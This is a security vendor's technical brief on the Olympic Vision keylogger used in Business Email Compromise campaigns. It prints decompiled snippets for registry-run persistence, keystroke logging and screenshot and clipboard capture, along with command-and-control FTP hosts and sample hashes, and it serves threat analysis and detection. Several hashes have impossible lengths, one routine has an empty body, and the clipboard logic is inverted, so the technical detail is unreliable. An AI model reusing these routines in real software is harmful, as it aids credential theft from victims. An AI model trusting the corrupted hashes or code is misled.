Latest Business Email Compromise
Malware Found: Olympic Vision

Technical Brief

TrendLabs Security Intelligence Blog

Jaaziel Carlos
Junestherry Salvador

March 2016
Introduction

Olympic Vision is a keylogger malware involved in an ongoing Business Email Compromise (BEC) campaign targeting 18 companies in the US, Middle East and Asia, the majority of which coming from the two latter regions (22%, 39% and 39% respectively).

Business Email Compromise attacks involve spear phishing/social engineering techniques to infect key employees’ systems with info-stealing malware and intrude upon business dealings/transactions. They have become so effective that the Federal Bureau of Investigation posted a general public advisory about BEC in their official website, and has tallied the total estimated damages of BEC so far to be US$800 million dollars in total (since last year).

Olympic Vision is not advanced by any means. Like Predator Pain and Limitless, keyloggers that have been used for the very same purpose in previous BEC campaigns, it performs its main function – that is, to log keystrokes and take screenshots for the purpose of stealing personal information – well and without unneeded complexity. The success of BEC lies mostly on the ability of the cybercriminal to engage with the target and convince them of their being a legitimate business contact.
Olympic Vision Dissected

The keylogger we identify as Olympic Vision is an info-stealing malware generated by the toolkit of the same name. Detected by Trend Micro as TSPY_OLYMVIS, it steals information through keylogging and taking screenshots. The information gathered from these methods is sent to the culprit via email, FTP, or web panel.

The samples we analyzed were also encrypted using the .NET protector “Olympic Crypter” which is sold for US$15.

This crypter ensures that the malware remains undetected by AV products. It also has a built-in scanner to tell the user if his strain of keylogger needs more encrypting to escape detection.
Installation

Upon execution, Olympic Vision drops a copy of itself using a file name specified by the cybercriminal. It then creates an autostart registry so that the dropped copy will execute every system startup:

```csharp
public void AddToStartup(string StartupKey, string FileName, bool Persistence)
{
    string str = Path.Combine(this.RoamingPath, FileName.EndsWith(".exe") ? FileName : FileName + ".exe");
    RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
    if (!Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(StartupKey), (object)str, false))
    {
        registryKey.SetValue(StartupKey, (object)str);
    }
    while (System.IO.File.Exists(str))
    {
    }
}
```

Figure 3. Autostart registry creation executed by Olympic Vision

It will also connect to an external site to get the external IP, country code, and country name of the victim’s computer:

```csharp
private string[] GetGeoIPDetails()
{
    string[] strArray;
    try
    {
    }
    catch (Exception ex)
    {
        ProjectData.SetProjectError(ex);
        strArray = (string[])null;
        ProjectData.ClearProjectError();
    }
    return strArray;
}
```

Figure 4. Retrieving external IP

Information Theft Routines

After installing itself in the system, it will steal any of the following information, depending on the modules selected by the cybercriminal:

- Computer name
- Saved credentials from browsers, email clients, FTP clients, and IM clients
- Windows product keys
- Keystrokes
- Network information
- Screenshots
- Clipboard image and text
The captured information is encrypted then sent to the attacker through different means, either through an email account, an FTP server, or a web panel.

Figure 5. Olympic Vision modules

Olympic Vision uses the following modules from SecurityXploded in stealing credentials and Windows license keys:

- Browser Password Dump v4.0
- Email Password Dump v1.0
- FTP Password Dump v1.0
- IM Password Dump v3.0
- Windows License Key Dump v4.0

Figure 6. SecurityXploded modules used by Olympic Vision
Figure 7. Keylogging routine

```java
if (Operators.CompareString(left.ToLower(), "caps lock", false) == 0 || Operators.CompareString(left.ToLower(), "caps lock", false) == 0) 
    KeyboardHook.IsCapsLock = true;
else if (Operators.CompareString(left.ToLower(), "shift", false) == 0) 
    KeyboardHook.IsShift = true;
else if (Operators.CompareString(left.ToLower(), "enter", false) == 0) 
    { 
        Left = "\n";
        KeyboardHook.IsPrintable = true;
    }
else if (Operators.CompareString(left.ToLower(), "space", false) == 0) 
    { 
        Left = " ";
        KeyboardHook.IsPrintable = true;
    }
else if (Operators.CompareString(left.ToLower(), "tab", false) == 0) 
    { 
        Left = "\t";
        KeyboardHook.IsPrintable = true;
    }
else if (Operators.CompareString(left.ToLower(), "caps lock", false) == 0 || Operators.CompareString(left.ToLower(), "caps lock", false) == 0) 
    { 
    }
else if (Operators.CompareString(left.ToLower(), "shift", false) == 0) 
    { 
        if (KeyboardHook.IsShiftHandled) 
            Left = "[shift: on]";
        KeyboardHook.IsShiftHandled = true;
    }
else 
    Left = "[" + Left + "]";
```

Figure 8. Screenshot and Clipboard Stealing

```java
public class ClipScreenLogger
{
    public Bitmap GetScreenshot()
    {
        Rectangle bounds = Screen.PrimaryScreen.Bounds;
        Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppRgb);
        Graphics.FromImage((Image)bitmap).CopyFromScreen(0, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
        return bitmap;
    }

    public string GetClipboardText()
    {
        return (Clipboard.ContainsText()) ? (string)null : Clipboard.GetText();
    }

    public Bitmap GetClipboardImage()
    {
        return (Clipboard.ContainsImage()) ? (Bitmap)null : (Bitmap)Clipboard.GetImage();
    }
}
```
Other Features

Some features that Olympic Vision has to contribute to its main function are as follows:

- **Displaying fake/bogus error message** – to aid its evasion from the victim

![Figure 9. Fake Error Message](image)

- **Disable TaskManager/Run/Registry Tools** – to prevent its detection and/or removal

![Figure 10. Disable tools](image)

- **Download and Execute files** – to perhaps cloak its presence with another malware at the cybercriminals’ choosing
- **Anti-emulation** – to prevent itself from running in a sandbox, as well as terminate applications such as Wireshark
• Hide files – it may also hide itself by changing its file attributes.

• Inject code – enables the malware to run inside a legitimate process, once more for evasion.
Figure 14. RunPE module

- Execution delay – another evasion technique

![Code Snippet]

Figure 15. Execution delay

Sample Information

<table>
<thead>
<tr>
<th>SHA1</th>
<th>MD5</th>
<th>C&amp;C</th>
</tr>
</thead>
<tbody>
<tr>
<td>f71a4a8624551c0a4b3e8e94af6b84e33e3259e</td>
<td>eb6313b8992afbb7a7a4d12b8cf36c9</td>
<td>ftp://ftp.sg.storck.tk</td>
</tr>
<tr>
<td>43ee3cf353d1e0a2e0e19f129134900cbbfe7af</td>
<td>2c21b60beaf8d614bd68650f32f1482b1</td>
<td>ftp://ftp.benfoods.tk</td>
</tr>
<tr>
<td>7d38c008d3f61656997a236c523609cd5c58b</td>
<td>165c0b9f0e373e0d520f2a8a09c699d</td>
<td>ftp://ftp.perfectmachine-com.tk</td>
</tr>
<tr>
<td>6aed7db3471432ced12e545b1712584bf4c93619</td>
<td>dfe920aef9026078e56345cea2a57528</td>
<td>ftp://ftp.materdeiconsult.com.ng</td>
</tr>
<tr>
<td>c52448a8a56a377fb58f527939a4f72590884e2</td>
<td>f6b2e8979222b8e06920896e33bb2063d</td>
<td>ftp://ftp.perfectmachine-com.tk</td>
</tr>
<tr>
<td>2fa498897c74cc730348a5ad4a059049b119de8f</td>
<td>0c2241bb97e7df8fbb4e42983ec35</td>
<td>ftp://ftp.partyemporium.co.za</td>
</tr>
</tbody>
</table>
More on Business Email Compromise

For more information regarding BECs and those we've covered in the past:

- Security 101: Business Email Compromise (BEC) Schemes
- From Cybercrime to Cyberspying: Using Limitless Keylogger and Predator Pain

For our own brand of solutions on how to protect against BECs:

- Battling Business Email Compromise Fraud: How Do You Start?
Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com.

©2015 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.